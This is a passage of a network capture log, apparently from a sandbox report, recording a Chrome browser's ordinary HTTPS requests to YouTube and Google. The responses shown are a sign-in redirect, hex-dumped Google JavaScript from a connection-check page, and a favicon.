2024-04-19 01:29:16 UTC	810	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 01:29:17 UTC	2428	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 19 Apr 2024 01:29:17 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 19-Apr-2024 01:59:17 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=jRQWsnrOSN4; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=uxbWyiEqJyc; Domain=.youtube.com; Expires=Wed, 16-Oct-2024 01:29:17 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJw%3D%3D; Domain=.youtube.com; Expires=Wed, 16-Oct-2024 01:29:17 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49753	108.177.122.101	443	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:22 UTC	1347	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=480920124&timestamp=1713490161736 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=jRQWsnrOSN4; VISITOR_INFO1_LIVE=uxbWyiEqJyc; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJw%3D%3D
2024-04-19 01:29:22 UTC	1850	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FKHODHBz1iKQ6GXZWIj_Nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 19 Apr 2024 01:29:22 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: cross-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjUtDikmJw15BikPj6kkkLiJ3SZ7CGAHHSv_OsJUAsxMPxaWL7RjaBhr-_fjABAHiAEoQ" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 37 36 39 37 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 46 4b 48 4f 44 48 42 7a 31 69 4b 51 36 47 58 5a 57 49 6a 5f 4e 77 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 7697<html><head><script nonce="FKHODHBz1iKQ6GXZWIj_Nw">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 3d 3d 3d 61 29 7b 69 66 28 69 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 Data Ascii: ernet Explorer"===a){if(ia())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 64 3d 41 28 61 29 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 41 61 28 61 2c 64 7c 31 29 3b 72 65 74 75 72 6e 21 30 7d 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 22 69 6e 74 33 32 22 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 7c 7c 28 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 Data Ascii: },B=function(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;var d=A(a);if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;Aa(a,d\|1);return!0},Ba=function(){var a=Error("int32");a.__closure__error__context__984382\|\|(a.__closure__er
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 61 2c 62 2c 63 2c 64 2c 65 29 7b 69 66 28 6e 75 6c 6c 21 3d 0a 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 61 3d 42 28 61 2c 76 6f 69 64 20 30 2c 30 29 3f 76 6f 69 64 20 30 3a 65 26 26 41 28 61 29 26 32 3f 61 3a 49 61 28 61 2c 62 2c 63 2c 76 6f 69 64 20 30 21 3d 3d 64 2c 65 29 3b 65 6c 73 65 20 69 66 28 7a 61 28 61 29 29 7b 76 61 72 20 66 3d 7b 7d 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 66 5b 68 5d 3d 4a 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2c 65 29 3b 61 3d 66 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 2c 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 64 7c 7c 63 3f 41 28 61 29 3a 30 3b 64 3d 64 3f 21 21 28 66 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 Data Ascii: a,b,c,d,e){if(null!=a){if(Array.isArray(a))a=B(a,void 0,0)?void 0:e&&A(a)&2?a:Ia(a,b,c,void 0!==d,e);else if(za(a)){var f={},h;for(h in a)f[h]=Ja(a[h],b,c,d,e);a=f}else a=b(a,d);return a}},Ia=function(a,b,c,d,e){var f=d\|\|c?A(a):0;d=d?!!(f&32):void 0;a=Ar
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 68 7d 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 7d 3b 76 61 72 20 63 3d 22 6a 73 63 6f 6d 70 5f 73 79 6d 62 6f 6c 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 62 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 66 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 0a 45 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: e:!0,writable:!0,value:h})};b.prototype.toString=function(){return this.g};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e)throw new TypeError("b");return new b(c+(f\|\|"")+"_"+d++,f)};return e});E("Symbol.iterator
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 63 74 2e 69 73 45 78 74 65 6e 73 69 62 6c 65 28 6d 29 26 26 64 28 6d 29 3b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 29 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 21 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6b 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 21 31 Data Ascii: ct.isExtensible(m)&&d(m);return l(m)})}if(function(){if(!a\|\|!Object.seal)return!1;try{var k=Object.seal({}),l=Object.seal({}),m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(r){return!1
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 75 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 Data Ascii: ead=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].u=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value};c.prototype.entries=function(){return e(t
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 29 3b 45 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 64 3d 53 74 72 69 6e 67 28 64 29 29 3b 76 61 72 20 65 3d 64 2e 6c 65 6e 67 74 68 3b 63 3d 63 7c 7c 30 3b 66 6f 72 28 30 3e 63 26 26 28 63 3d 4d 61 74 68 2e 6d 61 78 28 63 2b 65 2c 30 29 29 3b 63 3c 65 3b 63 2b 2b 29 7b 76 61 72 20 66 3d 64 5b 63 5d 3b 69 66 28 66 3d 3d 3d 62 7c 7c 4f 62 6a 65 63 74 2e 69 73 28 66 2c 62 Data Ascii: c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}});E("Array.prototype.includes",function(a){return a?a:function(b,c){var d=this;d instanceof String&&(d=String(d));var e=d.length;c=c\|\|0;for(0>c&&(c=Math.max(c+e,0));c<e;c++){var f=d[c];if(f===b\|\|Object.is(f,b
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 41 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 64 Data Ascii: var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b},I=function(a,b){function c(){}c.prototype=b.prototype;a.A=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ea=function(d
2024-04-19 01:29:22 UTC	1850	IN	Data Raw: 61 6d 65 3a 61 2e 66 69 6c 65 4e 61 6d 65 2c 73 74 61 63 6b 3a 62 7d 3a 28 63 3d 61 2e 6d 65 73 73 61 67 65 2c 6e 75 6c 6c 3d 3d 63 26 26 28 63 3d 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 3f 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 27 2b 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3f 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3a 74 62 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 29 2b 27 22 27 3a 22 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 75 6e 6b 6e 6f 77 6e 20 74 79 70 65 22 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 74 6f 53 74 72 69 6e 67 26 26 4f 62 6a 65 63 Data Ascii: ame:a.fileName,stack:b}:(c=a.message,null==c&&(c=a.constructor&&a.constructor instanceof Function?'Unknown Error of type "'+(a.constructor.name?a.constructor.name:tb(a.constructor))+'"':"Unknown Error of unknown type","function"===typeof a.toString&&Objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49742	142.250.9.99	443	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:24 UTC	1025	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 01:29:24 UTC	707	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 12 Apr 2024 15:00:22 GMT Expires: Sat, 20 Apr 2024 15:00:22 GMT Cache-Control: public, max-age=691200 Age: 556142 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:24 UTC	548	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-04-19 01:29:24 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C;
2024-04-19 01:29:24 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4S4
